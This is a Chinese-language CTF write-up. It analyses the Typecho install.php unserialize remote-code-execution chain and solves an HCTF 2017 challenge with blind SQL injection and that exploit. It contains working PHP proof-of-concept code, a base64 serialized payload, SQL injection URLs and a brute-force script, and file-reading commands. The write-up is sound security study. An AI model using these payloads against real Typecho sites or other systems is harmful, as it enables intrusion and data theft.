typecho漏洞分析与HCTF实战
typecho漏洞分析与HCTF实战
0x00前记
通过最近的比赛,决定沉淀下来,从复现cms开始慢慢锻炼自己的审计能力,毕竟这个年头的CTF,不会审计只能活在边缘了,今天为大家带了typecho漏洞的审计分析和一道HCTF里根据这个漏洞点出的实战例题
0x01 typecho漏洞审计
问题存在于在根目录install.php文件的229-235行
可以看到$config变量的值是由__typecho_config解base64并反序列化得到
于是我们跟进get()函数,去看看如何获取这个变量的值
可以看到,__typecho_config变量的值,从cookie中获取,如果没有,则看POST里是否存在
所以这个变量我们有2种输入方式:
- cookie中传入
- POST方式传入
而后思考,既然有反序列化unserialize
那么如何利用呢?
这里有3个点:
- __destruct()
- __wakeup()
- __toString()
其中
- __destruct()是在对象被销毁的时候自动调用
- __wakeup()在反序列化的时候自动调用
- __toString()是在调用对象的时候自动调用。
那么我们这里有没有对象的调用呢?
继续审计
我们可以看到,这里直接对$config['adapter']进行了调用
而我们假设这样
$config为一个数组,classA为我们可以利用的一个类
我们构造如下代码
$sky = new classA();
$config = array(
'adapter' => $sky,
);
这样显然就完成了对对象的调用
所以我们下面需要去全局搜索__toString()函数,找到可利用的类
在Feed.php中的223行,我们发现了这样的函数,进行审计
在第284-290行我们发现这样一段代码
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
其中调用了$item['author']->screenName
而
private $_items = array();
容易看见,$_items是类中的私有变量
这里又有一个点需要关注了:
即一个特殊的魔法函数__get()
__get()会在读取不可访问的属性的值的时候调用
所以这里对$item['author']->screenName的调用显然是使用了这个魔法函数
于是我们跟进这个__get()魔法函数,进行全局搜索
在Request.php中我们发现了这样的函数
public function __get($key)
{
return $this->get($key);
}
我们继续跟进get()函数
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
我们注意到最后一行,返回的数据还要经过$this->_applyFilter()
我们继续跟进
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
可以看到非常瞩目的函数
call_user_func()
举个例子
<?php
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
?>
即可执行phpinfo()指令
而这里,如果我们能控制$filter和$value两个参数,就等同于任意命令执行
0x02 payload分析
我们根据以上分析,容易得到以下构造
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
我们来捋一遍:
- 在install.php的第230行,我们精心构造的poc被这里反序列化
- 在install.php的第232行,程序调用了$config['adapter'],而$config['adapter']是我们精心构造的,具有利用点__toString()函数的类Typecho_Feed()的对象
- 因为对象$config['adapter']被调用,触发了__toString()函数
- 而在__toString()函数里,程序调用了类Typecho_Feed()的私有变量$item['author']->screenName,而$item['author']->screenName是我们精心构造的,具有利用点__get()函数的类Typecho_Request的对象
- 由于私有变量被调用,触发了__get()函数
- __get()中的get()函数调用了危险函数call_user_func(),导致任意命令执行
这一连串的pop链构造可谓非常精妙,分析完后才感觉到自己有多菜= =
0x03 注意点
这样构造完__typecho_config的值显然是不够的
我们注意到
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
- 我们需要带上$_GET['finish']参数
- 我们需要带上$_SERVER['HTTP_REFERER']参数
- HTTP_REFERER必须是本站
0x04 实战演练
题目来自10月份的XCTF联赛中的HCTF,改变自typecho漏洞
1.1 题目描述:
题目分为两层,第一层是注入,第二次是注入拿到的路径,进去后是一个typecho页面,但是禁用了许多系统命令。
1.2题目第一层
拿到url
http://sqls.2017.hctf.io/index/index.php?id=1
先探测了下,能用的不多,该过滤的基本过滤完了,空格过滤可以用%0b绕过
这里构造了亦或
回显:
http://sqls.2017.hctf.io/index/index.php?id=1^1
Id error
http://sqls.2017.hctf.io/index/index.php?id=1^0
Alice
故此可以构造payload:
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((user())from(1)))>0)
然后问题来了,我们没有办法用系统库,表,字段去爆库,爆表,爆字段
但是题目提示了:
<!-- What you need is in table:flag -->
所以可以确定的是flag表
然后可以猜测存在flag字段(出题人mmp说的)
然后我们容易构造出:
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select%0bflag%0bfrom%0bflag)from(1)))>0)
但是这样发现sql语句报错了
得到的回显是:`There is nothing.`
于是我苦思冥想,本地测试了2个小时,发现问题在于flag表里不止一个字段,这样就会报错
mysql> select * from users where id=2333 union select 1,2,3,4,(ascii(mid((select flag from flag)from(1)))>0);
ERROR 1242 (21000): Subquery returns more than 1 row
但是我又不知道flag表有啥字段,所以这里我又脑洞了下:
利用like+hctf去限制
select flag from flag where flag like '%hctf%'
所以得到最终的payload:
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from(1)))>0)'
附上脚本:
#!/usr/bin/env python
#coding:utf-8
import requests as req
flag = ''
for x in range(1,100):
for y in range(33,127):
url = 'http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from('+str(x)+')))='+str(y)+')'
f = req.get(url=url)
if 'Id error' in f.content:
flag+=chr(y)
print flag
break
得到结果:
./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
1.3题目第二层
访问
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php
发现是一个typecho,想到之前爆出的php命令执行漏洞,于是去复现,因为之前复现过,所以还挺激动的
但是这里题目好像做出了变化,首先是好像不能写入了,然后利用的poc中,貌似括号会有影响?当时使用的时候算是比较蛋疼,后来经过一番调整后,终于成功
url = http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=a
post:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
Referrer:
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
不得不说hacker bar还是强大,这要用Burp看还挺难受的,然后成功回显了phpinfo(),发现是php7,然后想用系统命令查找,却发现系统命令也被禁了,只能使用php函数
这里选用了scandir()
$this->_params['screenName'] = 'var_dump(scandir('./'))';
打出回显:
array(12) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(5) "admin" [4]=> string(14) "config.inc.php" [5]=> string(9) "index.php" [6]=> string(7) "install" [7]=> string(11) "install.php" [8]=> string(11) "license.txt" [9]=> string(7) "uploads" [10]=> string(3) "usr" [11]=> string(3) "var" }
一路查找,最后找到了可疑文件夹:
array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(12) "flag_is_here" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" }
可以看到偌大的flag_is_here
再查:
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) "flag" }
可以看到flag文件,然后利用file_get_contents()去读
$this->_params['screenName'] = 'var_dump(file_get_contents('../../../../../flag_is_here/flag'))';
可以轻松拿到flag
string(33) "hctf{WowwoW_U_F1nd_m3_e218ca012} "
- 关于listener无法启动的问题解决
- 通过shell脚本监控oracle session
- sed+awk模拟简单sql查询(26天)
- 海量数据迁移之冲突数据筛查(r2 第1天)
- sqlldr加载性能问题的排查 (r2第2天)
- sqlplus无法启动的问题及解决(3) (25天)
- sqlplus无法启动的问题及解决(2) (25天)
- 10g升级至11g exp的问题解决(23天)
- redo日志文件学习(22天)
- 数据库文件的迁移
- excel文件内容导入数据库的问题及解决(20天)
- 10g,11g数据泵的导入问题及解决(19天)
- ORACLE 11g导入9i dump的问题及解决
- 服务器增加内存后无法重启数据库的问题及解决 (36天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ASP.NET Core 使用 AutoFac 注入 DbContext
- Python爬虫练习:爬取800多所大学学校排名、星级等
- Python爬取股票信息,并实现可视化数据
- Python爬虫练习:爬取素材网站数据
- 25行代码带你爬取4399小游戏数据,看下童年的游戏是否还在
- 十一假期快到了,不知道该去哪玩?爬取旅游攻略
- 干掉Navicat:正版 MySQL 官方客户端真香!
- WordPress评论插件wpDiscuz任意文件上传复现
- 干货 | 性能提升400%,ClickHouse在携程酒店数仓的实践
- 干货 | 携程如何基于ARIMA时序分析做业务量的预测
- Python爬取王者荣耀全套皮肤
- 怎么搭建直播平台,合理使用验证码工具类
- 再见了SpringMVC,这个框架有点厉害,甚至干掉了Servlet!
- 可以旋转的3D韦恩图你见过吗?
- BFE.dev前端刷题 104. 按层遍历DOM树